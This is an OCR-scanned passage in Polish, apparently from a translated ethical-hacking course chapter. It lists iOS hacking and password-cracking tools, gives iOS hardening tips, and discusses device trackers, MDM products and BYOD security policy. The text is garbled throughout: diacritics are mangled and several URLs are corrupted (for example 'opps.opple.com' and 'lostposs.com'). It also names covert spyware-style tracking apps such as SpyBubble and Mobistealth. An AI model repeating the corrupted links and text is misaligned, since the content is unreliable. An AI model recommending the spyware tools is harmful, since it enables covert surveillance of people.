zapasowych, zsynchronizowanych danych i haset z Apple iCloud. Pozwala atakujagcym tamac hasta i
odszyfrowywac kopie zapasowe iOS z akceleracjg GPU. Za pomoca tego narzedzia osoby atakujgce
moga odszyfrowac pek kluczy iCloud oraz wiadomosci z plikami multimedialnymi i dokumentami z
iCloud.

Ponizej wymieniono niektére dodatkowe narzedzia do hakowania urzgdzen z systemem iOS:
Fing - Skaner sieciowy (https://opps.opple.com)

Network Analyzer Master Lite (https://opps.opple.com)

Spyic (https://spyic.com)

iWepPRO (https://opps.opple.com)

Frida (https://frido.re)

Zabezpieczanie urzadzen iOS

Ponizej wymieniono kilka waznych wskazéwek, ktére pomogg zabezpieczy¢ urzadzenia z systemem iOS
i ich dane przed atakujgcymi:

WHtacz funkcje blokady hastem na swoim iPhonie. Przejdz do Ustawienia -> Touch ID i blokada kodu, a
nastepnie dotknij Wtacz kod dostepu

Ustaw oddzielne hasta dla aplikacji zawierajgcych poufne dane
Wytacz Javascript i dodatki w przeglagdarce internetowe;j
Zawsze pobieraj aplikacje z Apple App Store

Ustaw limit czasu automatycznego blokowania, aby wprowadzi¢ hasto po okreslonym czasie. Przejdz
do Ustawienia -> Ogdlne -> Automatyczna blokada

Korzystaj z urzadzen iOS w zabezpieczonej i chronionej sieci Wi-Fi

Nie przechowuj poufnych danych w bazie danych po stronie klienta

Nie uzyskuj dostepu do ustug sieciowych w zaatakowanej sieci

Nie otwieraj linkéw ani zatgcznikdw z nieznanych Zzrédet

Wdrazaj tylko zaufane aplikacje innych firm na urzadzeniach z systemem iOS

Zmien domyslne hasto roota iPhone'a z alpine

Nie réb jailbreak ani nie rootuj swojego urzadzenia, jesli jest uzywane w srodowiskach korporacyjnych
Skonfiguruj Find My iPhone i uzyj go do wyczyszczenia zgubionego lub skradzionego urzadzenia

Wtacz wykrywanie Jailbreak, a takze chron dostep do kont ApplelD i Google, ktére s3 powigzane z
wrazliwymi danymi

Wytacz ustugi iCloud, aby poufne dane przedsiebiorstwa nie byty archiwizowane w chmurze

(pamietaj, ze ustugi w chmurze mogg tworzy¢ kopie zapasowe dokumentéw, informacji o koncie,
ustawien i wiadomosci)



Witacz funkcje Popros o dotgczenie do sieci; zapobiega to losowemu tgczeniu sie z dostepnymi sieciami
Wi-Fi. Przejdz do Ustawienia -> Wi-Fi -> Popros$ o dotgczenie do sieci

Regularnie aktualizuj system operacyjny urzadzenia za pomocga poprawek bezpieczenstwa wydanych
przez firme Apple. Aby otrzymywac aktualizacje, potacz sie z App Store. W przypadku systemu iOS 5 i
nowszych aktualizacje mozna pobra¢ za pomocy opcji Ustawienia -> Ogédlne -> Aktualizacje
oprogramowania

Witacz funkcje Erase Data na swoim iPhonie, aby usungé¢ wszystkie dane i ustawienia po 10 prébach.
Przejdz do Ustawienia -> Touch ID i hasto Usun dane

Wytacz funkcje wybierania gtosowego na iPhonie, aby uniemozliwié¢ atakujgcym dostep do telefonu
bez wprowadzania hasta. Przejdz do Ustawien Touch ID i kod dostepu, a nastepnie Wytacz wybieranie
gtosowe

Usun pamie¢ podreczng klawiatury na iPhonie, aby usungc¢ wszystkie zarejestrowane nacisniecia
klawiszy. Przejdz do Ogdlne -> Resetuj, dotknij Resetuj stownik klawiatury, a nastepnie Potwierdz na
ekranie ostrzezenia

Wytacz geotagging (przechowywanie danych dotyczacych lokalizacji w obrazach) na iPhonie. Przejdz
do Ustawienia Prywatnosc¢ -> Ustugi lokalizacyjne, a nastepnie przetgcz Aparat na WYL

WHtacz ustawienia prywatnosci i bezpieczenstwa Safari na iPhonie. Przejdz do Ustawienia -> Safari. Tutaj
mozesz wykonaé nastepujgce czynnosci: Wtacz blokowanie wyskakujgcych okienek, Wytacz hastfa i
autouzupetnianie, Wtgcz ostrzezenie o fatszywych witrynach, Blokuj pliki cookie, Wyczys¢ historie i
dane witryn internetowych itp.

Witacz funkcje Do Not Track, aby zapewnic¢ prywatnos¢ przegladania sieci. Przejdz do Ustawienia ->
Safari -> a nastepnie wiacz opcje Do Not Track Wytgcz Bluetooth, gdy nie jest uzywany. Przejdz do
Ustawienia -> Bluetooth, a nastepnie przetgcz go na WYL

Wytacz Wi-Fi, gdy nie jest uzywane. PrzejdZ do Ustawienia -> Wi-Fi, a nastepnie przetgcz go na WYL

Wytacz osobistego asystenta Apple Siri. Przejdz do Ustawienia -> Touch ID i kod dostepu, a nastepnie
przetacz ,,Zezwdl na dostep po zablokowaniu” na WYL,

Wytacz opcje autouzupetniania w Safari. Przejdz do Ustawienia -> Safari Autouzupetnianie, a nastepnie
przetgcz go na WYL

Uzyj uwierzytelniania dwusktadnikowego. Przejdz do Ustawienia -> Twoje hasto Apple ID i
zabezpieczenia, wprowadz hasto, a nastepnie przetgcz ,,Wtgcz uwierzytelnianie dwusktadnikowe” na
Wt.

Zainstaluj oprogramowanie VPN, aby zaszyfrowac caty ruch internetowy

Zainstaluj aplikacje Vault, aby ukry¢ wazne dane przechowywane na urzgdzeniu mobilnym z systemem
i0S

Zresetuj pofaczenia, przechodzac do Ustawienia -> Ogdlne -> Resetuj -> Resetuj lokalizacje i
prywatnos¢, jesli zostang znalezione podejrzane dziatania

Kontroluj, co jest udostepniane Apple na stronie Prywatnos¢. Przejdz do Ustawienia -> Prywatnos¢ ->
Analityka i ulepszenia i wytacz lub wtgcz opcje, aby kontrolowaé, co jest udostepniane.



Aby unikngé¢ wtamania do urzadzenia przez atakujgcych, na wypadek sytuacji awaryjnych nalezy miec
przy sobie przenosng tadowarke lub zastosowaé blokade danych, ktéra faczy sie tylko z liniami
zasilajgcymi kabla USB.

Aby zablokowa¢ reklamy w aplikacjach na iOS, przejdz do Ustawienia -> Prywatnosc -> Reklama i wigcz
opcje Ogranicz Sledzenie reklam, aby zobaczy¢, co zostato udostepnione.

Aby uniemozliwi¢ zablokowanemu urzgdzeniu ujawnianie poufnych danych, przejdz do Ustawienia ->
Powiadomienia Pokaz podglad i wytgcz powiadomienia na ekranie blokady.

Uniemozliwiaj innym osobom korzystanie z Twoich urzadzen i uzyskiwanie dostepu do Twoich
informacji, uzywajac silnych szesciocyfrowych kodéw dostepu, Touch ID i Face ID.

Bezpieczny tancuch rozruchowy, zabezpieczenia systemu i funkcje zabezpieczen aplikacji pomagajg
zweryfikowad, czy na urzadzeniu dziata tylko zaufany kod i aplikacje.

Automatycznie aktualizuj aplikacje, aby naprawié luki w zabezpieczeniach. Przejdz do Ustawienia ->
App Store -> Automatyczne pobieranie i wtgcz Aktualizacje aplikacji.

Uwaga: podane powyzej Sciezki wtgczania/wytgczania odpowiednich funkcji mogg sie rézni¢ w
zaleznosci od

Wersja iOS lub uzywane urzadzenie.
Narzedzia bezpieczenstwa urzadzen iOS
Bezpieczenstwo mobilne Avira

Narzedzie Avira Mobile Security zapewnia takie funkcje, jak ochrona sieci, ochrona tozsamosci,
wykrywanie witryn wytudzajgcych informacje, ktdre atakujg Cie osobiscie, zabezpieczanie wiadomosci
e-mail, $ledzenie urzadzenia, identyfikowanie dziatan, organizowanie pamieci urzadzenia, tworzenie
kopii zapasowych wszystkich kontaktéw i tak dalej dla wszystkich urzadzen z systemem iOS urzadzenia.

Oto niektére dodatkowe narzedzia zabezpieczajgce urzadzenia z systemem iOS:
Norton Mobile Security dla systemu iOS (https://us.norton.com)

Menedzer haset LastPass (https://www.lostposs.com)

Lookout Personal dla systemu iOS (https://www.lookout.com)

McAfe Security dla urzadzen przenosnych (https://www.mcofee.com)

Trend Micro Mobile Security (https://www.trendmicro.com)

Narzedzia do $ledzenia urzadzen iOS

Ponizej wymieniono niektdre narzedzia do sledzenia urzadzen z systemem iOS:
Find My

Find My to narzedzie do sledzenia urzadzen z systemem iOS, ktére umozliwia uzycie innego urzadzenia
z systemem i0OS do $ledzenia zagubionego lub zagubionego urzgdzenia iPhone, iPad, iPod Touch lub
Mac i ochrony ich danych. Aby uzy¢ tego narzedzia, uzytkownik musi zainstalowac aplikacje na innym
urzadzeniu z systemem iOS, otworzy¢ jg i zalogowaé sie za pomocg swojego Apple ID. Pomaga
uzytkownikowi zlokalizowac zaginione urzgdzenie na mapie, zdalnie je zablokowa¢, odtworzy¢ dzwiek,
wyswietli¢c komunikat i usunac z niego wszystkie dane. Find My zawiera rdwniez funkcje Lost Mode,



ktéra moze zlokalizowac urzadzenie z systemem iOS 6 lub wyzszy. Tryb Utracony blokuje brakujgce
urzadzenie za pomocg hasta i wyswietla niestandardowy komunikat, taki jak numer telefonu
kontaktowego, na ekranie blokady. W trybie utraconym urzgdzenie sledzi, gdzie sie znajdowato, dzieki
czemu uzytkownik moze przegladac¢ swojg ostatnig historie lokalizacji w aplikacji Znajdz madj iPhone.

Jak skonfigurowa¢ Find My na iPhone'a, iPada lub iPoda Touch

1. Otwoérz aplikacje Ustawienia.

2. Stuknij Ustawienia [twoje imie i nazwisko] -> ZnajdZ mo;.

3. Stuknij Znajdz méj [urzadzenie], a nastepnie wigcz Znajdz méj [urzadzenie].

4. Aby wyswietli¢ urzadzenie nawet w trybie offline, wtgcz opcje Znajdz mojg siec.

5. Aby lokalizacja urzadzenia byta wysytana do Apple, gdy bateria jest staba, wtgcz opcje Wyslij ostatnia
Lokalizacja.

Oto niektére dodatkowe narzedzia do sledzenia urzadzen z systemem iOS:
SpyBubble (https://thespybubble.com)

Prey Find my Phone Tracker GPS (https://opps.opple.com)

iHound (http://ihoundgps.com)

FollowMee GPS Location Tracker (https://opps.opple.com)

Mobistealth (https://www.mobisteolth.com)

Zarzagdzanie urzadzeniami mobilnymi

Zarzadzanie urzgdzeniami mobilnymi (MDM) zyskuje na znaczeniu wraz z przyjeciem zasad takich jak
BYOD w organizacjach. Rosnaca liczba i typy urzadzen mobilnych, takich jak smartfony, laptopy, tablety
itd., utrudniajg przedsiebiorstwom tworzenie zasad i bezpieczne zarzgdzanie tymi urzagdzeniami. MDM
to polityka, ktéra pomaga ostroznie obchodzi¢ sie z takimi urzgdzeniami, zapewniajac jednoczesnie, ze
sg one bezpieczne. Firmy uzywajg pewnego rodzaju oprogramowania zabezpieczajgcego do
administrowania wszystkimi urzgdzeniami mobilnymi podtgczonymi do sieci firmowej. Ta sekcja
dotyczy MDM i jego rozwigzan, ktére pomagajg zabezpieczaé¢, monitorowad, zarzadzac i obstugiwad
urzadzenia mobilne.

Zarzadzanie urzadzeniami mobilnymi (MDM)

MDM zapewnia platformy do bezprzewodowej lub przewodowej dystrybucji aplikacji, danych i
ustawien konfiguracyjnych dla wszystkich typow urzadzen mobilnych, w tym telefonéw komadrkowych,
smartfonéw, tabletéw i tak dalej. Pomaga we wdrazaniu zasad w catym przedsiebiorstwie w celu
zmniejszenia kosztdw wsparcia, nieciggtosci biznesowej i zagrozen bezpieczeristwa. Pomaga
administratorom systemoéw wdrazac aplikacje i zarzgdza¢ nimi na wszystkich urzgdzeniach mobilnych
przedsiebiorstwa w celu zabezpieczania, monitorowania, zarzadzania i obstugi tych urzadzen. Mozna
go uzywac do zarzadzania urzadzeniami nalezgcymi do firmy i pracownikami (BYOD) w catym
przedsiebiorstwie.

Podstawowe cechy oprogramowania MDM to:

Uzywa hasta do urzadzenia



Zdalnie blokuje urzgdzenie w przypadku jego zgubienia

Zdalnie usuwa dane w zgubionym lub skradzionym urzgdzeniu
Wykrywa, czy urzadzenie jest zrootowane lub po jailbreaku
Egzekwuje zasady i $ledzi zapasy

Wykonuje monitorowanie i raportowanie w czasie rzeczywistym
Rozwigzania do zarzadzania urzadzeniami mobilnymi

IBM Security MaaS360

IBM Security MaaS360 obstuguje petny cykl zycia MDM dla smartfondw i tabletow, w tym iPhone, iPad,
Android, Windows Phone i Kindle Fire. Jako w petni zintegrowana platforma chmurowa, MaaS360
upraszcza MDM dzieki szybkiemu wdrozeniu, a takze wszechstronnemu wgladowi i kontroli
obejmujacej urzadzenia mobilne, aplikacje i dokumenty. IBM MaaS360 pomaga specjalistom ds.
bezpieczenstwa szybko rejestrowac urzgdzenia mobilne, integrowac urzgdzenia mobilne z systemami
przedsiebiorstwa oraz centralnie zarzadzac urzgdzeniami mobilnymi i je zabezpiecza¢.

Zarzadzanie punktami konncowymi Citrix

Citrix Endpoint Management zapewnia nowoczesne podejscie do zarzadzania réznymi urzadzeniami,
w tym komputerami stacjonarnymi, laptopami, smartfonami, tabletami i loT za posrednictwem jednej
platformy. Po wdrozeniu jako cze$¢ Citrix Workspace umozliwia uzytkownikom dostep do wszystkich
aplikacji i plikdw za pomoca jednego, intuicyjnego interfejsu, zapewniajgc spdjne i ptynne dziatanie na
kazdym urzadzeniu. Dzieki Citrix Endpoint Management organizacje mogg mieé¢ pewnos¢, ze majg
potgczone zasady, procedury i technologie w celu ochrony swoich danych korporacyjnych niezaleznie
od tego, gdzie sg dostepne lub gdzie sie znajdujg. Dzieki zarzadzaniu aplikacjami mobilnymi i
urzadzeniami Citrix Endpoint Management zabezpiecza dane firmowe i zwieksza produktywnos¢,
umozliwiajgc uzytkownikom koricowym swobode korzystania z urzadzen bez dodatkowego obcigzenia
dziatu IT.

Oto niektére dodatkowe rozwigzania MDM:

VMware AirWatch (https://www.vmware.com)

Centrum zarzadzania urzgdzeniami Sicap (https://www.sicap.com)

SOTI MobiControl (https://www.soti.net)

Scalefusion MDM (https://scalefusion.com)

ManageEngine Mobile Device Manager Plus (https://www.manageengine.com)
Przynie$ wiasne urzadzenie (BYOD)

BYOD odnosi sie do polityki, ktéra pozwala pracownikom przynosi¢ do miejsca pracy swoje urzadzenia
osobiste, takie jak laptopy, smartfony i tablety, i uzywac ich do uzyskiwania dostepu do zasobdw
organizacji zgodnie z ich uprawnieniami dostepu. BYOD pozwala pracownikom korzystac z urzadzen, z
ktérymi czujg sie komfortowo i ktdre najlepiej odpowiadajg ich preferencjom i celom pracy. W
przypadku strategii ,pracuj w dowolnym miejscu i czasie” wyzwaniem dla trendu BYOD jest
zabezpieczenie danych firmy i spetnienie wymagan dotyczacych zgodnosci.

Korzysci zwigzane z BYOD



Przyjecie BYOD korzystne zaréwno dla firmy, jak i dla pracownika. Ponizej oméwiono niektdre korzysci
wynikajace z trendu BYOD:

Zwiekszona produktywnos¢: Pracownicy stajg sie ekspertami w korzystaniu z urzadzen osobistych, co
zwieksza ich produktywnosé. Ponadto uzytkownicy majg tendencje do aktualizowania swoich urzadzen
osobistych za pomocg najnowoczesniejszych technologii, aby przedsiebiorstwo mogto korzystac z
najnowszych funkcji (zaréwno oprogramowania, jak i sprzetu) urzagdzenia.

Zadowolenie pracownikdw: Wdrazajgc BYOD, pracownicy korzystajg z wybranych przez siebie
urzadzen, w ktdére sami inwestujg bez udziatu firmy. Co wiecej, pracownicy czujg sie bardziej
komfortowo ze swoimi urzgdzeniami osobistymi, poniewaz zawierajg one zaréwno dane osobowe, jak
i dane firmowe, eliminujgc w ten sposdb korzystanie z wielu urzadzen.

Elastycznos¢ pracy: praktykujgc BYOD, pracownicy mogg nosic¢ jedno urzadzenie, aby zaspokoi¢ swoje
osobiste i zawodowe potrzeby. Prace zwykle wykonywang w biurze mozna wykonywac¢ z dowolnego
miejsca na $wiecie, poniewaz pracownicy majg zapewniony dostep do firmowych danych. Uzytkownicy
BYOD majg wiekszg swobode, poniewaz ich firmy nie narzucajg surowych zasad, ktérych musieliby
przestrzegaé, korzystajgc z wiasnosci firmy. BYOD zastepuje tradycyjny model klient-serwer strategia
mobilng i skoncentrowang na chmurze, co moze przynies¢ daleko idgce korzysci.

Nizsze koszty: firma, ktdra przyjmuje BYOD, nie musi wydawac pieniedzy na urzgdzenia, ale oszczedza
pienigdze, poniewaz pracownicy kupujg wtasne urzadzenia. Dodatkowo koszt ustug transmisji danych
przesuwa sie na pracownikéw, ktérzy mogg lepiej zadbac o wtasne mienie (urzgdzenie).

Ryzyko zwigzane z BYOD

Pracownicy tgczacy sie z siecig korporacyjng lub uzyskujgcy dostep do firmowych danych za pomoca
wiasnych urzadzen mobilnych stanowig zagrozenie dla bezpieczenstwa organizacji. Ponizej
wymieniono niektdre zagrozenia bezpieczedstwa zwigzane z BYOD:

Udostepnianie poufnych danych w niezabezpieczonych sieciach: pracownicy mogg uzyskiwac dostep
do danych firmowych za posrednictwem sieci publicznej. Te potgczenia nie mogg by¢ szyfrowane;
udostepnianie poufnych danych przez niezabezpieczong sie¢ moze prowadzi¢ do wycieku danych.

Wyciek danych i problemy z bezpieczeristwem punktéw koricowych: w dobie przetwarzania w chmurze
urzadzenia mobilne sg niepewnymi punktami koicowymi z tgcznoscig z chmura. Dzieki synchronizacji
z firmowa pocztg e-mail lub innymi aplikacjami te urzadzenia przenosne przenoszg poufne informacje.
Jesli urzadzenie zostanie zgubione, moze potencjalnie ujawnic¢ wszystkie dane firmowe.

Niewtasciwa utylizacja urzadzen: Niewtasciwie utylizowane urzadzenie moze zawieraé wiele poufnych
informacji, takich jak informacje finansowe, dane kart kredytowych, numery kontaktowe i dane
firmowe. Dlatego wazne jest, aby upewnié sie, ze urzadzenie nie zawiera zadnych danych, zanim
zostanie usuniete lub przekazane innym osobom.

Obstuga wielu réznych urzadzen: Organizacje umozliwiajg pracownikom dostep do swoich zasobdéw z
dowolnego miejsca na Swiecie, zwiekszajgc produktywnos¢ i zwiekszajac satysfakcje pracownikéw.
Jednak obstuga réinych urzadzen i procesdw moze zwiekszyé koszty. Urzadzenia nalezgce do
pracownikdw majg ograniczone zabezpieczenia i s3 dostepne z réznymi platformami. Utrudnia to
dziatowi IT zarzadzanie i kontrolowanie wszystkich urzadzen w firmie.

Mieszanie danych osobowych i prywatnych: Mieszanie danych osobowych i firmowych na
urzadzeniach mobilnych prowadzi do powaznych konsekwencji dla bezpieczenstwa i prywatnosci.
Dlatego dobrg praktyka jest oddzielenie danych firmowych od danych osobowych pracownika; pomaga



to organizacji zastosowac okreslone $rodki bezpieczenstwa, takie jak szyfrowanie, w celu ochrony
krytycznych danych firmowych przechowywanych na urzgdzeniu mobilnym. Ponadto organizacja moze
tatwo zdalnie wymazac¢ dane firmowe bez wptywu na dane osobowe pracownika, gdy pracownik
opuszcza organizacje.

Zgubione lub skradzione urzadzenia: Ze wzgledu na swoje niewielkie rozmiary urzadzenia mobilne sg
czesto gubione lub kradzione. Gdy pracownik zgubi swoje urzgdzenie mobilne, ktdre jest uzywane
zarowno do celdw osobistych, jak i stuzbowych, organizacja moze stang¢ w obliczu zagrozenia
bezpieczenstwa, poniewaz osoby atakujgce mogg narazi¢ na szwank dane firmowe przechowywane na
utraconym urzadzeniu.

Brak Swiadomosci: Organizacje muszg edukowac swoich pracownikéw w zakresie zagadnien
zwigzanych z bezpieczeristwem BYOD. W przeciwnym razie moze dojs¢ do naruszenia bezpieczenstwa
danych firmowych przechowywanych na urzgdzeniach mobilnych.

Mozliwos¢ obejscia regut polityki sieciowej organizacji: Zgodnie z ich szczegdlnymi wymaganiami,
narzucone zasady mogg roznic sie w przypadku sieci przewodowych i bezprzewodowych. Urzadzenia
BYOD podtaczone do sieci bezprzewodowych majg mozliwo$é obejscia regut polityki sieciowej
organizacji, narzuconych tylko w przewodowych sieciach LAN.

Kwestie zwigzane z infrastrukturg: Program BYOD obejmuje rézne platformy i technologie. Nie wszyscy
pracownicy noszg te same urzadzenia. Rézne urzadzenia, na ktérych dziata inny system operacyjny i
programy, majg wtasne luki w zabezpieczeniach. Dlatego dla dziatu IT moze by¢ problematyczne
skonfigurowanie i utrzymanie infrastruktury obstugujacej rdéine potrzeby urzadzen, takie jak
zarzadzanie danymi, bezpieczenstwo, tworzenie kopii zapasowych i kompatybilnos¢ miedzy
urzadzeniami.

Niezadowoleni pracownicy: niezadowoleni pracownicy w organizacji mogg naduzywaé danych
firmowych przechowywanych na urzadzeniach mobilnych. Mogga réwniez ujawnia¢ poufne informacje
konkurentom. Mozna argumentowad, ze organizacja moze czerpac znaczne korzysci z wdrozenia zasad
BYOD, poczawszy od wiekszej satysfakcji uzytkownikdéw, a skofAczywszy na wiekszej produktywnosci
dzieki pracy z zaawansowanymi urzgdzeniami. Jednak natura nowych technologii i proceséw moze
stwarzac¢ ryzyko dla organizacji, jesli nie s3 odpowiednio zarzadzane. Ponizej oméwiono pie¢ zasad
zwigzanych z wdrazaniem polityki BYOD. Korzystajgc z tych zasad, organizacja moze zminimalizowa¢
ryzyko zwigzane z bezpieczestwem i prywatnoscig danych.

Zdefiniuj swoje wymagania

Nie wszystkie wymagania uzytkownikow sg takie same. W ten sposéb organizuj lub grupuj
pracownikdw korzystajacych z urzadzedn mobilnych w pracy na segmenty, biorgc pod uwage
krytycznos¢ pracy, wrazliwosé czasowa, wartos¢ wynikajacg z mobilnosci, dostep do danych i dostep
do systemdéw. Segmenty uzytkownikow koricowych najlepiej definiowaé wedtug lokalizacji/rodzaju
pracownika (np. pracownik pracujgcy z domu, zdalny w petnym wymiarze godzin, przedtuzajacy dzien,
zdalny w niepetnym wymiarze godzin). Nastepnie przypisz portfolio technologii do kazdego segmentu
zgodnie z potrzebami uzytkownika. Przeprowadz ocene wptywu na prywatnos¢ (PIA) na samym
poczatku kazdego projektu BYOD w obecnosci wszystkich odpowiednich zespotéw po przydzieleniu
obowigzkéw i zebraniu wymagan. Zapewnia zorganizowang procedure dokumentowania faktow,
celéw, zagrozen dla prywatnosci oraz podejsé i decyzji ograniczajgcych ryzyko w catym cyklu zycia
projektu. Powinno to by¢ centralne dziatanie wykonywane przez Twdj komitet zarzadzania
urzadzeniami mobilnymi (uzytkownicy koricowi z kazdego segmentu/linii biznesowe;j i kierownictwo
IT).



Wybierz wybrane przez siebie urzadzenia i zbuduj portfolio technologii

Zdecyduj, jak chcesz zarzadzac uzytkownikami i dostepem do ich danych. Oprécz systemu MDM, ktéry
zapewnia minimalny poziom kontroli, mozesz skorzystac z innych opgji, takich jak wirtualne pulpity lub
oprogramowanie na urzgdzeniu, aby poprawic bezpieczenstwo i prywatnosé danych. Ponadto upewnij
sie, ze Srodowisko korporacyjne obstuguje facznosc i zarzgdzanie urzgdzeniami WLAN.

Opracuj zasady

Delegacja zasobow firmy (nie tylko IT) powinna opracowac polityki. Powinien obejmowac kluczowych
uczestnikow, takich jak HR, prawnicy, bezpieczenstwo i prywatnos¢. Kluczowe elementy ogdlnej
polityki BYOD sg nastepujgce:

o Kwestie zwigzane z bezpieczenstwem informacji

o Obawy zwigzane z ochrong danych

o Kwestie poufnosci i wtasnosci

o Informacje dotyczgce $ledzenia/monitorowania

0 Rozwazania dotyczace rozwigzania stosunku pracy

o Wytyczne dotyczace oceny bezpieczenstwa sieci Wi-Fi
o Akceptowalne i niedopuszczalne zachowania

Upewnij sie, ze uzytkownicy kofncowi majg jasne pojecie o zasadach dopuszczalnego uzytkowania
przed przystgpieniem do programu BYOD. Wreszcie, organizacje muszg upewnic sie, ze ich polityka
BYOD ma zastosowanie wobec ich pracownikéw i wszelkich stron trzecich w ich imieniu, jesli zajdzie
taka potrzeba, i kontynuowac jej wdrazanie.

Bezpieczenstwo

Technologia zarzadzania urzadzeniami mobilnymi jest skuteczna tylko wtedy, gdy zasady s3
ustanowione, wdrozone i obstugiwane. Organizacje muszg zapewni¢ odpowiednie bezpieczeristwo
mobilnego ekosystemu, aby programy BYOD dziataty. Wymaga to doktadnej oceny srodowiska
operacyjnego i opracowania rozwigzania, ktére zapewnia: zarzadzanie zasobami i tozsamosciami,
kontrole lokalnych pamieci masowych, kontrole nosnikéw wymiennych, poziomy dostepu do sieci,
kontrole aplikacji sieciowych, kontrole aplikacji firmowych i osobistych, kontrole sieci i bezpieczenstwo
wiadomosci, stan urzgdzenia, zarzgdzanie, zapobieganie utracie danych i tak dalej. Nalezy przede
wszystkim rozwazyé ocene i udokumentowanie ryzyka w nastepujacych aspektach:

o Bezpieczenstwo informacji (dla danych, aplikacji i segmentu uzytkownikéw)
0 Bezpieczenstwo operacji (w celu ochrony informacji o uzytkownikach)

0 Bezpieczenstwo transmisji (dla bezpiecznej transmisji danych)

Wsparcie

Niespojny charakter uzytkownikéw BYOD zwiekszy czestotliwos¢ wezwan wsparcia. Organizacje
powinny ustali¢ proces i mozliwosci na wczesnych etapach, aby zapewni¢ sukces. Komitety mobilne
powinny czesto ponownie ocenia¢ poziomy wsparcia i zapewniac produktywnosé swoich pracownikéw
mobilnych.



Wytyczne dotyczace bezpieczenstwa BYOD
Dla Administratora

Wraz z rosngcym wykorzystaniem tabletow, smartfondw i innych urzadzen w pracy, bezpieczenstwo
mobilne stato sie gtdwnym problemem. Ponizej wymieniono wytyczne dotyczgce bezpieczeristwa,
ktorych administrator powinien przestrzegaé, aby zabezpieczy¢ sie¢ i dane organizacji:

0 Zabezpiecz centra danych organizacji za pomocg wielowarstwowych systeméw ochrony.

o Edukuj pracownikéw na temat polityki BYOD.

o Wyjasnij, kto jest witascicielem jakich aplikacji i danych.

o Uzyj szyfrowanego kanatu do przesytania danych.

o Wyjasnij, ktére aplikacje bedg dozwolone, a ktdre zakazane.

o Kontroluj dostep w oparciu o niezbedng wiedze.

o Nie zezwalaj na urzadzenia po jailbreaku i zrootowane.

o0 Zastosuj polityke uwierzytelniania i limitu czasu sesji w celu uzyskania dostepu do bramek,
o Narzucaj dostep do firmowej sieci WLAN, gdy jeste$ na miejscu,

o Spraw, aby uzytkownicy uzywali skomplikowanych kodéw dostepu i czesto je zmieniali.

o Upewnij sie, ze urzadzenie mobilne uzytkownika jest zarejestrowane i uwierzytelnione przed
zezwoleniem na dostep do sieci organizacji.

o0 Rozwaz metody uwierzytelniania wielosktadnikowego w celu zwiekszenia bezpieczeAstwa podczas
zdalnego dostepu do systemow informatycznych organizacji.

o Dopilnuj, aby uzytkownicy zgodzili sie i podpisali zasady BYOD, zanim uzyskaja dostep do systemu
informatycznego organizacji.

o Gdy pracownik odchodzi z organizacji, okresl, czy wymagane jest catkowite wyczyszczenie
urzadzenia, czy wybidércze wymazanie niektdrych aplikacji i danych. Ponadto upewnij sie, ze dane
organizacji sg przechowywane oddzielnie od danych osobowych uzytkownika.

o Zaimplementu;j silne algorytmy do szyfrowania wszystkich danych organizacji przechowywanych na
urzadzeniu mobilnym uzytkownika; uzyj szyfrowanego kanatu do przesytania danych.

o W przypadku zgubienia lub kradziezy urzgdzenia mobilnego uzytkownika, zdalnie zresetuj lub
wyczy$¢ hasta urzadzenia, aby zapobiec nieautoryzowanemu dostepowi do poufnych danych
organizacji.

o Wdrozenie sieci VPN opartej na protokole SSL, ktéra zapewnia bezpieczny dostep zdalny.

o Nalezy regularnie aktualizowaé urzadzenia uzytkownikédw za pomocg najnowszego systemu
operacyjnego i innego oprogramowania, co pozwoli unikng¢, a czasem nawet naprawié wszelkie luki w
zabezpieczeniach.

o Nie zapewniaj dostepu w trybie offline do poufnych informacji organizacji, ktére powinny by¢
dostepne tylko za posrednictwem sieci firmowe;j.



o0 Wtacz mechanizm okresowej ponownej autoryzacji, aby upewnic sie, ze legalny uzytkownik uzyskuje
dostep do urzadzenia.

o Monitoruj urzadzenia w czasie rzeczywistym za pomocg systemu zarzgdzania mobilnoscig w
przedsiebiorstwie (EMM), aby zapewni¢ optymalne bezpieczeristwo.

o Opracuj czarng liste wszystkich zastrzezonych aplikacji na urzgdzeniach BYOD,

o Twoérz kopie zapasowe danych urzadzenia na zewnetrznych serwerach lub w chmurze, aby zapewnic
szybkie odzyskiwanie danych.

Dla Pracownika

Ponizej wymieniono wytyczne, ktérych pracownik powinien przestrzegac, aby zabezpieczy¢ poufne
dane osobowe lub firmowe przechowywane na urzadzeniu mobilnym:

o Stosowac mechanizmy szyfrujgce do przechowywania danych,
0 Zachowaj wyrazny rozdziat miedzy danymi biznesowymi i osobistymi.

0 Zarejestruj urzadzenia za pomoca funkcji zdalnej lokalizacji i czyszczenia, jesli pozwala na to polityka
firmy.

o Regularnie aktualizuj swoje urzagdzenie najnowszym systemem operacyjnym i tatkami,
o Korzystaj z rozwigzan antywirusowych i zapobiegajgcych utracie danych (DLP),

o Ustaw silne hasto do urzadzenia i czesto je zmieniaj,

o Uzywaj silnych algorytmow do szyfrowania danych,

o Ustaw hasta do aplikacji, aby uniemozliwi¢ innym dostep do nich,

o Nie pobieraj plikow z niezaufanych zrédet.

0 Zachowaj ostroznosc podczas przeglagdania stron internetowych i otwierania linkdw lub zatacznikéw
wysytanych pocztg elektroniczna.

Usun wszystkie dane, poswiadczenia dostepu i aplikacje zwigzane z organizacjg ze wszystkich urzadzen
przed opuszczeniem organizacji w jakikolwiek sposéb (np. przeniesieniem do innej firmy lub przejéciem
na emeryture).

Zawsze polegaj na autoryzowanych sprzedawcach i sklepach podczas wszelkich napraw lub zmian
sprzetowych urzgdzenia mobilnego.

Nie przesytaj ani nie twdrz kopii zapasowych danych firmowych w jakimkolwiek osobistym magazynie
w chmurze innym niz okreslony przez firme.

Zgtos$ do odpowiednich zespotow IT i wtadz w przypadku kradziezy lub utraty urzgdzenia mobilnego.
Korzystaj z bezpiecznego potgczenia VPN podczas uzyskiwania dostepu do publicznych sieci Wi-Fi.

Nie synchronizuj urzadzenia mobilnego z innymi urzgdzeniami osobistymi, takimi jak telewizor,
komputer stacjonarny i urzadzenia Bluetooth.

Wytyczne i narzedzia dotyczace bezpieczeristwa mobilnego



Podobnie jak komputery osobiste, urzagdzenia mobilne przechowujg poufne dane i mogg by¢ podatne
na rézne zagrozenia. Dlatego najlepiej je zabezpieczy¢, aby zapobiec naruszeniu lub utracie poufnych
danych, zmniejszy¢ ryzyko réznych zagrozen, takich jak wirusy i trojany, oraz ograniczy¢ inne formy
naduzy¢. Aby zabezpieczy¢ te urzadzenia, nalezy zastosowad rygorystyczne Srodki i uzyé narzedzi
bezpieczenstwa. W tej sekcji omdwiono rdine wytyczne dotyczace bezpieczernstwa urzadzen
mobilnych i narzedzia do ochrony urzgdzen mobilnych, ktére pomagajg zabezpieczy¢ urzadzenia
mobilne.

